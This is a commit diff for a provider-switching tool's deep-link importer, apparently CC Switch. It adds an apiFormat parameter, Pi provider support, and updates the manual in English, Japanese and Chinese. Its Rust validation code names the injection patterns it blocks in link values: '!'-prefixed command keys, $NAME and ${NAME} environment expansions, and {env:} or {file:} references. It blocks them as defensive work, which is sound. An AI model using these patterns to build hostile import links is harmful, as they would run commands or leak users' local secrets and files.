feat(deeplink): let links declare the API format, import Pi providers, and leave activation to the user

- Add a single `apiFormat` parameter (anthropic / openai_chat /
  openai_responses / gemini_native) that maps to each app's own field:
  meta.apiFormat for Claude Code, Codex and Grok Build (non-native formats
  need local routing), `npm` for OpenCode, `api` for OpenClaw and Pi,
  `api_mode` for Hermes. Unsupported combinations are rejected while
  parsing; links without it keep the previous defaults byte for byte.
- Support Pi provider links. They write a models.json node and must carry
  a model.
- The confirmation dialog now has a switch for "switch after import"
  (providers), "add to the app config" (additive apps, on by default) and
  "enable after import" (prompts). The link's `enabled` only sets its
  initial state.
- Turning the switch off really only saves the row: a new
  `ProviderService::add_without_switching` skips the first-provider path
  in `add` that would otherwise write the client config. The deep-link
  golden rows now have is_current false accordingly.
- Reject link values that additive apps would expand: Pi keys starting
  with `!` and `$NAME` / `${NAME}`, OpenCode `{env:}` / `{file:}`, and
  `${...}` for OpenClaw and Hermes. These would run a command or send
  local secrets and files to the link's endpoint. Checked when parsing,
  when merging `config`, and when building the provider.
- Update the deep-link manual in zh/en/ja.
This commit is contained in:
Jason committed 2026-10-12 23:26:43 +08:00
1 parent 85e574b47e
commit 16e7ff1c9d
22 files changed
+941 -79

No files matched your search

+8 -7
View File
@@ -39,7 +39,7 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| Parameter | Required | Description |
|-----------|----------|-------------|
| `resource` | Yes | Resource type: `provider` / `mcp` / `prompt` / `skill` |
| `app` | Yes | App type (needed for provider and prompt): `claude` / `codex` / `gemini` / `grokbuild` / `opencode` / `openclaw` / `hermes`; prompt also supports `pi`. Provider deep-link import is not yet supported for Claude Desktop, Pi, or MiniMax Code |
| `app` | Yes | App type (needed for provider and prompt): `claude` / `codex` / `gemini` / `grokbuild` / `opencode` / `openclaw` / `hermes` / `pi`; prompt also supports `mcode`. Provider deep-link import is not yet supported for Claude Desktop or MiniMax Code |
| `name` | Required for provider and prompt | Name (for MCP, the server ID comes from the key under `mcpServers` in `config`; not needed for Skill) |
**Provider parameters** (resource=provider):
@@ -49,7 +49,8 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| `endpoint` | No | API endpoint URL (supports comma-separated multiple URLs) |
| `apiKey` | No | API key |
| `homepage` | No | Provider website |
| `model` | No | Default model |
| `model` | No | Default model. Can be left empty for Claude Code when you serve genuine Claude models; required for Pi |
| `apiFormat` | No | API format: `anthropic` / `openai_chat` / `openai_responses` / `gemini_native`, mapped per app (OpenCode `npm`, OpenClaw and Pi `api`, Hermes `api_mode`; for Claude Code, Codex, and Grok Build a non-native format needs local routing). Defaults to the app's own format; formats the app does not support are rejected |
| `haikuModel` | No | Haiku model (Claude only) |
| `sonnetModel` | No | Sonnet model (Claude only) |
| `opusModel` | No | Opus model (Claude only) |
@@ -58,7 +59,7 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| `config` | No | Base64-encoded configuration content. For Codex, use `{"auth": {...}, "config": "<config.toml text>"}`, or pass the whole config.toml with `configFormat=toml`. Only the connection and auth fields of the selected `[model_providers.*]` table (such as `wire_api`, `http_headers`, `supports_websockets`, and a `model_catalog_url` on the same origin as the endpoint) and the top-level model, reasoning effort, `web_search` and similar keys are imported, and the route is always renamed to `custom`. Global settings such as `[features]`, MCP and permissions are skipped. Links whose table uses `auth`, `aws`, `gateway_oauth` or `env_http_headers` are rejected, and `env_key` is ignored (the link's own key is used) |
| `configFormat` | No | Configuration format: `json` / `toml` |
| `configUrl` | No | Not supported yet; links that carry it are rejected. Pass the config inline with `config` |
| `enabled` | No | Whether to enable (boolean) |
| `enabled` | No | Initial state of the "switch after import" toggle in the confirmation dialog (for OpenCode, OpenClaw, Hermes, and Pi it is "add to the app config" and defaults to on); the toggle decides on import |
| `usageScript` | No | Usage query script |
| `usageEnabled` | No | Whether to enable usage query. When omitted, it is enabled if `usageScript` is present and disabled otherwise; pass `false` to import the script without enabling it (it can be enabled later in the app). The script body is shown in full in the import confirmation dialog |
| `usageApiKey` | No | Usage query API Key |
@@ -75,15 +76,15 @@ For Grok Build, `config` likewise takes `{"config": "<config.toml text>"}` or th
|-----------|----------|-------------|
| `content` | Yes | Prompt content, Base64-encoded (then URL-escaped) |
| `description` | No | Description |
| `enabled` | No | Whether to enable (boolean) |
| `enabled` | No | Initial state of the "enable after import" toggle in the confirmation dialog; the toggle decides on import |
**MCP parameters** (resource=mcp):
| Parameter | Required | Description |
|-----------|----------|-------------|
| `apps` | Yes | App list (comma-separated, e.g., `claude,codex,gemini,grokbuild`). Available values: `claude` / `codex` / `gemini` / `grokbuild` (`grok` also works) / `opencode` / `hermes`; `openclaw` does not support MCP and is ignored; Pi and MiniMax Code are not supported yet |
| `apps` | Yes | App list (comma-separated, e.g., `claude,codex,gemini,grokbuild`). Available values: `claude` / `codex` / `gemini` / `grokbuild` (`grok` also works) / `opencode` / `hermes` / `pi` / `mcode`; `openclaw` does not support MCP and is ignored |
| `config` | Yes | MCP configuration JSON in the form `{"mcpServers": {"<server ID>": {...}}}`, Base64-encoded (then URL-escaped) |
| `enabled` | No | Whether to enable (boolean) |
| `enabled` | No | Currently has no effect |
**Skill parameters** (resource=skill): a deep link adds a Skill repository and does not install a Skill directly; after adding it, go to the "Skills" page and choose which Skill to install.
@@ -173,7 +174,7 @@ A confirmation dialog is shown before import, containing:
- Configuration preview
- Confirm/Cancel buttons
What confirming does depends on the type: a provider appears in the provider list of the matching app and is not switched to automatically; an MCP server is written immediately to the configuration files of all specified apps; a prompt is enabled immediately after import, and other prompts in the same app are disabled. If the configuration contains suspicious content (addresses pointing to this machine or an internal network, environment variables that can change how a process loads, running an entire command through a shell, usage-query scripts, and so on), the dialog shows a risk warning, so check each item carefully.
What confirming does depends on the type: a provider appears in the provider list of the matching app, and a toggle in the dialog decides whether to switch to it right away (for OpenCode, OpenClaw, Hermes, and Pi, whether to add it to the app config); an MCP server is written immediately to the configuration files of all specified apps; for a prompt, a toggle in the dialog decides whether to enable it right away, which disables the other prompts in the same app. If the configuration contains suspicious content (addresses pointing to this machine or an internal network, environment variables that can change how a process loads, running an entire command through a shell, usage-query scripts, and so on), the dialog shows a risk warning, so check each item carefully.
**Security tip**: Only import configurations from trusted sources.
+8 -7
View File
@@ -39,7 +39,7 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| パラメータ | 必須 | 説明 |
|------|------|------|
| `resource` | はい | リソースタイプ:`provider` / `mcp` / `prompt` / `skill` |
| `app` | はい | アプリタイプ(provider、prompt で必要):`claude` / `codex` / `gemini` / `grokbuild` / `opencode` / `openclaw` / `hermes`。prompt ではさらに `pi` に対応。Claude Desktop、Pi、MiniMax Code のプロバイダーは現在ディープリンクでのインポートに対応していません |
| `app` | はい | アプリタイプ(provider、prompt で必要):`claude` / `codex` / `gemini` / `grokbuild` / `opencode` / `openclaw` / `hermes` / `pi`。prompt ではさらに `mcode` に対応。Claude Desktop、MiniMax Code のプロバイダーは現在ディープリンクでのインポートに対応していません |
| `name` | provider、prompt で必須 | 名前(MCP のサーバー ID は `config` 内の `mcpServers` のキーから取得。Skill では不要) |
**プロバイダーパラメータ**(resource=provider):
@@ -49,7 +49,8 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| `endpoint` | いいえ | API エンドポイントアドレス(カンマ区切りで複数 URL 対応) |
| `apiKey` | いいえ | API キー |
| `homepage` | いいえ | プロバイダー公式サイト |
| `model` | いいえ | デフォルトモデル |
| `model` | いいえ | デフォルトモデル。純正の Claude モデルを提供する場合、Claude Code では空欄で構いません。Pi では必須 |
| `apiFormat` | いいえ | API 形式:`anthropic` / `openai_chat` / `openai_responses` / `gemini_native`。アプリごとに変換されます(OpenCode の `npm`、OpenClaw と Pi の `api`、Hermes の `api_mode`。Claude Code、Codex、Grok Build でネイティブ以外の形式を指定した場合はローカルルーティングが必要)。省略時はアプリのデフォルト形式。アプリが対応しない形式は拒否されます |
| `haikuModel` | いいえ | Haiku モデル(Claude のみ) |
| `sonnetModel` | いいえ | Sonnet モデル(Claude のみ) |
| `opusModel` | いいえ | Opus モデル(Claude のみ) |
@@ -58,7 +59,7 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| `config` | いいえ | Base64 エンコードされた設定内容。Codex は `{"auth": {...}, "config": "<config.toml のテキスト>"}` の形式、または `configFormat=toml` で config.toml 全体を渡します。選択された `[model_providers.*]` テーブルの接続・認証フィールド(`wire_api`、`http_headers`、`supports_websockets`、エンドポイントと同一オリジンの `model_catalog_url` など)と、トップレベルのモデル・推論レベル・`web_search` などのみをインポートし、ルートは常に `custom` に変更されます。`[features]`、MCP、権限などのグローバル設定はインポートされません。テーブルに `auth`、`aws`、`gateway_oauth`、`env_http_headers` を含むリンクは拒否され、`env_key` は無視されます(リンク自身のキーを使用) |
| `configFormat` | いいえ | 設定形式:`json` / `toml` |
| `configUrl` | いいえ | 未対応です。指定したリンクは拒否されるため、`config` でインライン指定してください |
| `enabled` | いいえ | 有効にするかどうか(ブール値) |
| `enabled` | いいえ | 確認ダイアログの「インポート後に切り替える」スイッチの初期値(OpenCode、OpenClaw、Hermes、Pi では「アプリの設定へ追加する」で、省略時はオン)。インポート時はスイッチの状態に従います |
| `usageScript` | いいえ | 使用量クエリスクリプト |
| `usageEnabled` | いいえ | 使用量クエリを有効にするか。省略時は `usageScript` があれば有効、なければ無効です。`false` を指定するとインポートのみ行い有効化しません(アプリ内で後から有効にできます)。スクリプト本文はインポート確認ダイアログに全文表示されます |
| `usageApiKey` | いいえ | 使用量クエリ専用 API Key |
@@ -75,15 +76,15 @@ Grok Build の `config` も `{"config": "<config.toml のテキスト>"}` の形
|------|------|------|
| `content` | はい | プロンプト内容。Base64 エンコードが必要(さらに URL エスケープ) |
| `description` | いいえ | 説明 |
| `enabled` | いいえ | 有効にするかどうか(ブール値) |
| `enabled` | いいえ | 確認ダイアログの「インポート後に有効にする」スイッチの初期値。インポート時はスイッチの状態に従います |
**MCP パラメータ**(resource=mcp):
| パラメータ | 必須 | 説明 |
|------|------|------|
| `apps` | はい | アプリリスト(カンマ区切り、例:`claude,codex,gemini,grokbuild`)。指定可能な値:`claude` / `codex` / `gemini` / `grokbuild`(`grok` とも書けます)/ `opencode` / `hermes`。`openclaw` は MCP に対応しておらず無視されます。Pi、MiniMax Code は現在非対応 |
| `apps` | はい | アプリリスト(カンマ区切り、例:`claude,codex,gemini,grokbuild`)。指定可能な値:`claude` / `codex` / `gemini` / `grokbuild`(`grok` とも書けます)/ `opencode` / `hermes` / `pi` / `mcode`。`openclaw` は MCP に対応しておらず無視されます |
| `config` | はい | MCP 設定の JSON。形式は `{"mcpServers": {"<サーバー ID>": {...}}}` で、Base64 エンコードが必要(さらに URL エスケープ) |
| `enabled` | いいえ | 有効にするかどうか(ブール値) |
| `enabled` | いいえ | 現在は効果がありません |
**Skill パラメータ**(resource=skill):ディープリンクで追加されるのは Skill リポジトリで、Skill が直接インストールされるわけではありません。追加後に「Skills」ページでインストールする Skill を選びます。
@@ -173,7 +174,7 @@ CC Switch 公式のオンラインディープリンク生成ツールを使用
- 設定のプレビュー
- 確認/キャンセルボタン
確認後の動作はタイプによって異なります:プロバイダーは対応するアプリのプロバイダー一覧に追加されますが、自動では切り替わりません。MCP は指定したすべてのアプリの設定ファイルにすぐ書き込まれます。プロンプトはインポート後すぐに有効になり、同じアプリの他のプロンプトは無効になります。設定に疑わしい内容(ローカルや社内ネットワークを指すアドレス、プロセスの読み込み動作を変えられる環境変数、シェルでコマンド全体を実行するもの、使用量照会スクリプトなど)が含まれる場合、ダイアログにリスク警告が表示されるので、項目ごとに確認してください。
確認後の動作はタイプによって異なります:プロバイダーは対応するアプリのプロバイダー一覧に追加され、すぐに切り替えるかどうか(OpenCode、OpenClaw、Hermes、Pi ではアプリの設定へ追加するかどうか)はダイアログのスイッチで決まります。MCP は指定したすべてのアプリの設定ファイルにすぐ書き込まれます。プロンプトをすぐに有効にするかどうかもダイアログのスイッチで決まり、有効にすると同じアプリの他のプロンプトは無効になります。設定に疑わしい内容(ローカルや社内ネットワークを指すアドレス、プロセスの読み込み動作を変えられる環境変数、シェルでコマンド全体を実行するもの、使用量照会スクリプトなど)が含まれる場合、ダイアログにリスク警告が表示されるので、項目ごとに確認してください。
**セキュリティ上の注意**:信頼できるソースからの設定のみインポートしてください。
+8 -7
View File
@@ -39,7 +39,7 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| 参数 | 必填 | 说明 |
|------|------|------|
| `resource` | 是 | 资源类型:`provider` / `mcp` / `prompt` / `skill` |
| `app` | 是 | 应用类型(provider、prompt 需要):`claude` / `codex` / `gemini` / `grokbuild` / `opencode` / `openclaw` / `hermes`;prompt 另支持 `pi`。Claude Desktop、Pi、MiniMax Code 的供应商暂不支持深链接导入 |
| `app` | 是 | 应用类型(provider、prompt 需要):`claude` / `codex` / `gemini` / `grokbuild` / `opencode` / `openclaw` / `hermes` / `pi`;prompt 另支持 `mcode`。Claude Desktop、MiniMax Code 的供应商暂不支持深链接导入 |
| `name` | provider、prompt 必填 | 名称(MCP 的服务器 ID 取自 `config` 中 `mcpServers` 的 key;Skill 不需要) |
**供应商参数**(resource=provider):
@@ -49,7 +49,8 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| `endpoint` | 否 | API 端点地址(支持逗号分隔多个 URL) |
| `apiKey` | 否 | API 密钥 |
| `homepage` | 否 | 供应商官网 |
| `model` | 否 | 默认模型 |
| `model` | 否 | 默认模型。Claude Code 用原版 Claude 模型时可留空;Pi 必填 |
| `apiFormat` | 否 | 接口格式:`anthropic` / `openai_chat` / `openai_responses` / `gemini_native`,按应用换算(OpenCode 的 `npm`、OpenClaw 和 Pi 的 `api`、Hermes 的 `api_mode`;Claude Code、Codex、Grok Build 写非原生格式时需开启本地路由)。不写用应用的默认格式;应用不支持的格式会被拒绝 |
| `haikuModel` | 否 | Haiku 模型(仅 Claude) |
| `sonnetModel` | 否 | Sonnet 模型(仅 Claude) |
| `opusModel` | 否 | Opus 模型(仅 Claude) |
@@ -58,7 +59,7 @@ ccswitch://v1/import?resource={type}&app={app}&name={name}&...
| `config` | 否 | Base64 编码的配置内容。Codex 写成 `{"auth": {...}, "config": "<config.toml 文本>"}`,或用 `configFormat=toml` 直接给整份 config.toml;只导入选中的 `[model_providers.*]` 表里的连接和鉴权字段(如 `wire_api`、`http_headers`、`supports_websockets`、与地址同源的 `model_catalog_url`)以及顶层的模型、推理强度、`web_search` 等,选路统一改成 `custom`;`[features]`、MCP、权限等全局设置不导入;表里带 `auth`、`aws`、`gateway_oauth`、`env_http_headers` 的链接会被拒绝,`env_key` 会被忽略(Key 用链接给的) |
| `configFormat` | 否 | 配置格式:`json` / `toml` |
| `configUrl` | 否 | 暂不支持,带了会被拒绝;请改用 `config` 内联 |
| `enabled` | 否 | 是否启用(布尔值) |
| `enabled` | 否 | 确认框里「导入后立即切换」开关的初始值(OpenCode、OpenClaw、Hermes、Pi 是「添加到应用配置」,不写时默认打开),导入时以开关为准 |
| `usageScript` | 否 | 用量查询脚本 |
| `usageEnabled` | 否 | 是否启用用量查询。未传时:带了 `usageScript` 就启用,否则不启用;传 `false` 则只导入不启用,可在应用内手动开启。脚本正文会完整展示在导入确认框中 |
| `usageApiKey` | 否 | 用量查询专用 API Key |
@@ -75,15 +76,15 @@ Grok Build 的 `config` 同样可写成 `{"config": "<config.toml 文本>"}` 或
|------|------|------|
| `content` | 是 | 提示词内容,须 Base64 编码(再做 URL 转义) |
| `description` | 否 | 描述 |
| `enabled` | 否 | 是否启用(布尔值) |
| `enabled` | 否 | 确认框里「导入后立即启用」开关的初始值,导入时以开关为准 |
**MCP 参数**(resource=mcp):
| 参数 | 必填 | 说明 |
|------|------|------|
| `apps` | 是 | 应用列表(逗号分隔,如 `claude,codex,gemini,grokbuild`)。可用值:`claude` / `codex` / `gemini` / `grokbuild`(也可写 `grok`)/ `opencode` / `hermes`;`openclaw` 不支持 MCP,会被忽略;Pi、MiniMax Code 暂不支持 |
| `apps` | 是 | 应用列表(逗号分隔,如 `claude,codex,gemini,grokbuild`)。可用值:`claude` / `codex` / `gemini` / `grokbuild`(也可写 `grok`)/ `opencode` / `hermes` / `pi` / `mcode`;`openclaw` 不支持 MCP,会被忽略 |
| `config` | 是 | MCP 配置 JSON,格式为 `{"mcpServers": {"<服务器 ID>": {...}}}`,须 Base64 编码(再做 URL 转义) |
| `enabled` | 否 | 是否启用(布尔值) |
| `enabled` | 否 | 暂不生效 |
**Skill 参数**(resource=skill):深链接添加的是 Skill 仓库,不会直接安装 Skill;添加后到「Skills」页选择要安装的 Skill。
@@ -173,7 +174,7 @@ const url = `ccswitch://v1/import?${params.toString()}`;
- 配置预览
- 确认/取消按钮
确认后的效果因类型而异:供应商出现在对应应用的供应商列表里,不会自动切换过去;MCP 会立即写入所有指定应用的配置文件;提示词导入后会立即启用,同一应用里其他提示词被禁用。若配置中带有可疑内容(指向本机或内网的地址、可改变进程加载行为的环境变量、通过 shell 执行整段命令、用量查询脚本等),对话框会给出风险提示,请逐项核对。
确认后的效果因类型而异:供应商出现在对应应用的供应商列表里,是否立即切换(OpenCode、OpenClaw、Hermes、Pi 是是否写进应用配置)由确认框里的开关决定;MCP 会立即写入所有指定应用的配置文件;提示词是否立即启用也由确认框里的开关决定,启用后同一应用里其他提示词被禁用。若配置中带有可疑内容(指向本机或内网的地址、可改变进程加载行为的环境变量、通过 shell 执行整段命令、用量查询脚本等),对话框会给出风险提示,请逐项核对。
**安全提示**:只导入来自可信来源的配置。
+6 -1
View File
@@ -100,7 +100,8 @@ pub struct DeepLinkImportRequest {
/// Resource name
#[serde(skip_serializing_if = "Option::is_none")]
pub name: Option<String>,
/// Whether to enable after import (default: false)
/// 导入后是否立即生效:供应商(切换式应用)切过去、累加式应用写进配置文件、提示词启用。
/// 确认框里有对应开关,链接里的值只是开关的初始值,导入时以开关为准。
#[serde(skip_serializing_if = "Option::is_none")]
pub enabled: Option<bool>,
@@ -132,6 +133,10 @@ pub struct DeepLinkImportRequest {
/// Optional Opus model (Claude only, v3.7.1+)
#[serde(skip_serializing_if = "Option::is_none")]
pub opus_model: Option<String>,
/// 供应商的接口格式:`anthropic` | `openai_chat` | `openai_responses` | `gemini_native`,
/// 按应用换算成各自的字段(见 `provider::ApiFormat`)。没写时用各应用的默认格式。
#[serde(skip_serializing_if = "Option::is_none")]
pub api_format: Option<String>,
// ============ Prompt-specific fields ============
/// Base64 encoded Markdown content
+28 -3
View File
@@ -81,7 +81,7 @@ fn parse_provider_deeplink(
// Validate app type
if !matches!(
app.as_str(),
"claude" | "codex" | "gemini" | "grokbuild" | "opencode" | "openclaw" | "hermes"
"claude" | "codex" | "gemini" | "grokbuild" | "opencode" | "openclaw" | "hermes" | "pi"
) {
return Err(AppError::InvalidInput(format!(
"Invalid provider app type: '{app}'"
@@ -116,10 +116,21 @@ fn parse_provider_deeplink(
// Extract optional fields
let model = params.get("model").cloned();
// Pi 的节点没有模型就选不到任何模型(见 `provider::build_pi_settings`)
if app == "pi" && model.as_deref().is_none_or(|model| model.trim().is_empty()) {
return Err(AppError::InvalidInput(
"Pi providers need a model; add 'model' to the link".to_string(),
));
}
let notes = params.get("notes").cloned();
let haiku_model = params.get("haikuModel").cloned();
let sonnet_model = params.get("sonnetModel").cloned();
let opus_model = params.get("opusModel").cloned();
// 在解析阶段就核对,用户当场看到「这个应用不支持这种接口」,而不是确认导入之后才失败
let api_format = params.get("apiFormat").cloned();
if let Some(ref format) = api_format {
super::provider::check_api_format(&app, format)?;
}
let icon = params
.get("icon")
.map(|v| v.trim().to_lowercase())
@@ -149,7 +160,7 @@ fn parse_provider_deeplink(
.get("usageAutoInterval")
.and_then(|v| v.parse::<u64>().ok());
Ok(DeepLinkImportRequest {
let request = DeepLinkImportRequest {
version,
resource,
app: Some(app),
@@ -164,6 +175,7 @@ fn parse_provider_deeplink(
haiku_model,
sonnet_model,
opus_model,
api_format,
content: None,
description: None,
apps: None,
@@ -180,7 +192,17 @@ fn parse_provider_deeplink(
usage_access_token,
usage_user_id,
usage_auto_interval,
})
};
// 累加式应用会把某些写法当成命令、环境变量或文件引用,解析阶段就拒绝
if let Ok(app_type) = request
.app
.as_deref()
.unwrap_or("")
.parse::<crate::AppType>()
{
super::provider::check_link_values(&app_type, &request)?;
}
Ok(request)
}
/// Parse prompt deep link parameters
@@ -244,6 +266,7 @@ fn parse_prompt_deeplink(
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
apps: None,
repo: None,
directory: None,
@@ -319,6 +342,7 @@ fn parse_mcp_deeplink(
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
content: None,
description: None,
repo: None,
@@ -374,6 +398,7 @@ fn parse_skill_deeplink(
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
content: None,
description: None,
apps: None,
+260 -22
View File
@@ -111,8 +111,22 @@ pub fn import_provider_from_deeplink(
let provider_id = provider.id.clone();
// Use ProviderService to add the provider
ProviderService::add(state, app_type.clone(), provider, true)?;
// `enabled` 是确认框里「导入后立即切换 / 添加到应用」开关的值(链接里的 `enabled` 只是它的
// 初始值)。累加式应用(OpenCode、OpenClaw、Hermes、Pi)没有「切换」:开关决定这家要不要
// 写进应用的配置文件;旧链接没写时照旧写进去。切换式应用开关关闭时只存进列表:`add` 在
// 还没有当前供应商时会让这家直接生效,所以走不写客户端配置的路径。
let additive = app_type.is_additive_mode();
let activate = if additive {
merged_request.enabled.unwrap_or(true)
} else {
merged_request.enabled.unwrap_or(false)
};
if activate || additive {
ProviderService::add(state, app_type.clone(), provider, activate)?;
} else {
ProviderService::add_without_switching(state, app_type.clone(), provider)?;
}
// Add extra endpoints as custom endpoints (skip first one as it's the primary)
for ep in all_endpoints.iter().skip(1) {
@@ -133,7 +147,7 @@ pub fn import_provider_from_deeplink(
}
// If enabled=true, set as current provider
if merged_request.enabled.unwrap_or(false) {
if !additive && activate {
ProviderService::switch(state, app_type.clone(), &provider_id)?;
log::info!("Provider '{provider_id}' set as current for {app_type:?}");
}
@@ -141,29 +155,185 @@ pub fn import_provider_from_deeplink(
Ok(provider_id)
}
/// 链接声明的接口格式(`apiFormat`)。站长只学这一套词,各应用换算成自己的字段。
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum ApiFormat {
Anthropic,
OpenAiChat,
OpenAiResponses,
GeminiNative,
}
impl ApiFormat {
const VALUES: &'static str = "anthropic, openai_chat, openai_responses, gemini_native";
fn parse(value: &str) -> Result<Self, AppError> {
match value.trim() {
"anthropic" => Ok(Self::Anthropic),
"openai_chat" => Ok(Self::OpenAiChat),
"openai_responses" => Ok(Self::OpenAiResponses),
"gemini_native" => Ok(Self::GeminiNative),
other => Err(AppError::InvalidInput(format!(
"Unsupported apiFormat '{other}'; use one of: {}",
Self::VALUES
))),
}
}
/// 这个格式在应用里对应的值;应用不支持这种接口时为 `None`。
///
/// Claude Code、Codex、Grok Build 写进 `meta.apiFormat`(非原生格式由本地路由转换);
/// 其余应用写进各自配置里选择协议的字段:OpenCode 的 `npm`、OpenClaw / Pi 的 `api`、
/// Hermes 的 `api_mode`。Gemini CLI 只有原生接口。
fn native_value(self, app_type: &AppType) -> Option<&'static str> {
use ApiFormat::*;
match (app_type, self) {
(AppType::Claude, Anthropic) => Some("anthropic"),
(AppType::Claude | AppType::Codex | AppType::GrokBuild, OpenAiChat) => {
Some("openai_chat")
}
(AppType::Claude | AppType::Codex | AppType::GrokBuild, OpenAiResponses) => {
Some("openai_responses")
}
(AppType::Claude, GeminiNative) => Some("gemini_native"),
(AppType::Codex | AppType::GrokBuild, Anthropic) => Some("anthropic"),
(AppType::Gemini, GeminiNative) => Some("gemini_native"),
(AppType::OpenCode, Anthropic) => Some("@ai-sdk/anthropic"),
(AppType::OpenCode, OpenAiChat) => Some("@ai-sdk/openai-compatible"),
(AppType::OpenCode, OpenAiResponses) => Some("@ai-sdk/openai"),
(AppType::OpenCode, GeminiNative) => Some("@ai-sdk/google"),
(AppType::OpenClaw | AppType::Pi, Anthropic) => Some("anthropic-messages"),
(AppType::OpenClaw | AppType::Pi, OpenAiChat) => Some("openai-completions"),
(AppType::OpenClaw | AppType::Pi, OpenAiResponses) => Some("openai-responses"),
(AppType::OpenClaw | AppType::Pi, GeminiNative) => Some("google-generative-ai"),
(AppType::Hermes, Anthropic) => Some("anthropic_messages"),
(AppType::Hermes, OpenAiChat) => Some("chat_completions"),
(AppType::Hermes, OpenAiResponses) => Some("codex_responses"),
_ => None,
}
}
/// 链接没写 `apiFormat` 时各应用用的格式(保持旧链接的行为)。
fn default_for(app_type: &AppType) -> Self {
match app_type {
AppType::Claude | AppType::ClaudeDesktop => Self::Anthropic,
AppType::Codex | AppType::GrokBuild => Self::OpenAiResponses,
AppType::Gemini => Self::GeminiNative,
_ => Self::OpenAiChat,
}
}
}
/// 核对链接的 `apiFormat` 在这个应用上是否可用(解析和导入两处都调)。
pub(super) fn check_api_format(app: &str, value: &str) -> Result<(), AppError> {
let app_type = AppType::from_str(app)
.map_err(|_| AppError::InvalidInput(format!("Invalid app type: {app}")))?;
let format = ApiFormat::parse(value)?;
if format.native_value(&app_type).is_none() {
return Err(AppError::InvalidInput(format!(
"apiFormat '{}' is not supported for app '{app}'",
value.trim()
)));
}
Ok(())
}
/// 链接声明的格式,已核对过这个应用支持它;没写时为 `None`。
fn link_api_format(
app_type: &AppType,
request: &DeepLinkImportRequest,
) -> Result<Option<ApiFormat>, AppError> {
let Some(value) = request.api_format.as_deref() else {
return Ok(None);
};
check_api_format(app_type.as_str(), value)?;
ApiFormat::parse(value).map(Some)
}
/// 应用配置里选择协议的字段值:链接写了就按链接,没写用应用默认。
fn native_protocol(app_type: &AppType, api_format: Option<ApiFormat>) -> &'static str {
let format = api_format.unwrap_or_else(|| ApiFormat::default_for(app_type));
format
.native_value(app_type)
.or_else(|| ApiFormat::default_for(app_type).native_value(app_type))
.unwrap_or_default()
}
/// 累加式应用读配置时会解释的字符串写法,链接带了就拒绝导入。
///
/// - Pi:`apiKey` 以 `!` 开头会被当成 shell 命令执行;`$NAME`、`${NAME}` 会换成环境变量。
/// - OpenCode:`{env:NAME}` 读环境变量,`{file:path}` 读本机文件。
/// - OpenClaw、Hermes:`${NAME}` 读环境变量。
///
/// 链接是不可信输入:这些写法会让客户端执行链接里的命令,或把本机的密钥、文件内容随请求
/// 发到链接给的地址。确认框把 Key 打码显示,用户也看不出来,所以在后端拒绝。
/// 名称、地址、Key、模型都会写进这些应用的配置,都要查。
pub(super) fn check_link_values(
app_type: &AppType,
request: &DeepLinkImportRequest,
) -> Result<(), AppError> {
if !app_type.is_additive_mode() {
return Ok(());
}
let is_pi = matches!(app_type, AppType::Pi);
let fields = [
("name", request.name.as_deref()),
("endpoint", request.endpoint.as_deref()),
("apiKey", request.api_key.as_deref()),
("model", request.model.as_deref()),
];
for (field, value) in fields {
let Some(value) = value else { continue };
let command = is_pi && field == "apiKey" && value.trim_start().starts_with('!');
if command || has_dynamic_reference(value, is_pi) {
return Err(AppError::InvalidInput(format!(
"The link's '{field}' uses syntax that {} would expand into a command, an \
environment variable or a local file; it cannot be imported from a link. Add the \
provider manually instead.",
app_type.as_str()
)));
}
}
Ok(())
}
/// 值里有没有环境变量或文件引用。`${` 和 OpenCode 的 `{env:` / `{file:` 对所有累加式应用
/// 都拒绝;Pi 还会展开不带花括号的 `$NAME`。
fn has_dynamic_reference(value: &str, is_pi: bool) -> bool {
if value.contains("${") || value.contains("{env:") || value.contains("{file:") {
return true;
}
is_pi
&& value.char_indices().any(|(index, ch)| {
ch == '$'
&& value[index + 1..]
.chars()
.next()
.is_some_and(|next| next == '_' || next.is_ascii_alphabetic())
})
}
/// Build a Provider structure from a deep link request
pub(crate) fn build_provider_from_request(
app_type: &AppType,
request: &DeepLinkImportRequest,
) -> Result<Provider, AppError> {
let api_format = link_api_format(app_type, request)?;
check_link_values(app_type, request)?;
let settings_config = match app_type {
AppType::Claude | AppType::ClaudeDesktop => build_claude_settings(request),
AppType::Codex => build_codex_settings(request)?,
AppType::Gemini => build_gemini_settings(request),
AppType::GrokBuild => build_grokbuild_settings(request)?,
AppType::OpenCode => build_opencode_settings(request),
AppType::OpenClaw => build_additive_app_settings(request),
AppType::Hermes => build_hermes_settings(request),
AppType::OpenCode => build_opencode_settings(request, api_format),
AppType::OpenClaw => build_additive_app_settings(request, api_format),
AppType::Hermes => build_hermes_settings(request, api_format),
AppType::Pi => build_pi_settings(request, api_format)?,
AppType::Mcode => {
return Err(AppError::InvalidInput(
"Add MCode providers from the MCode page".into(),
))
}
AppType::Pi => {
return Err(AppError::InvalidInput(
"Pi providers must be added from the Pi provider page".to_string(),
));
}
};
// Build usage script configuration if provided
@@ -172,6 +342,16 @@ pub(crate) fn build_provider_from_request(
meta.get_or_insert_with(ProviderMeta::default)
.claude_desktop_mode = Some(ClaudeDesktopMode::Direct);
}
// Claude Code、Codex、Grok Build 的格式记在 meta 上:非原生格式的卡片会带「需要路由」,
// 切过去时由本地路由转换。链接没写时不加这个字段,和旧链接导入的行一致。
if matches!(
app_type,
AppType::Claude | AppType::Codex | AppType::GrokBuild
) {
if let Some(value) = api_format.and_then(|format| format.native_value(app_type)) {
meta.get_or_insert_with(ProviderMeta::default).api_format = Some(value.to_string());
}
}
let provider = Provider {
id: String::new(), // Will be generated by caller
@@ -532,7 +712,10 @@ fn build_grokbuild_settings(
}
/// Build OpenCode settings configuration
fn build_opencode_settings(request: &DeepLinkImportRequest) -> serde_json::Value {
fn build_opencode_settings(
request: &DeepLinkImportRequest,
api_format: Option<ApiFormat>,
) -> serde_json::Value {
let endpoint = get_primary_endpoint(request);
// Build options object
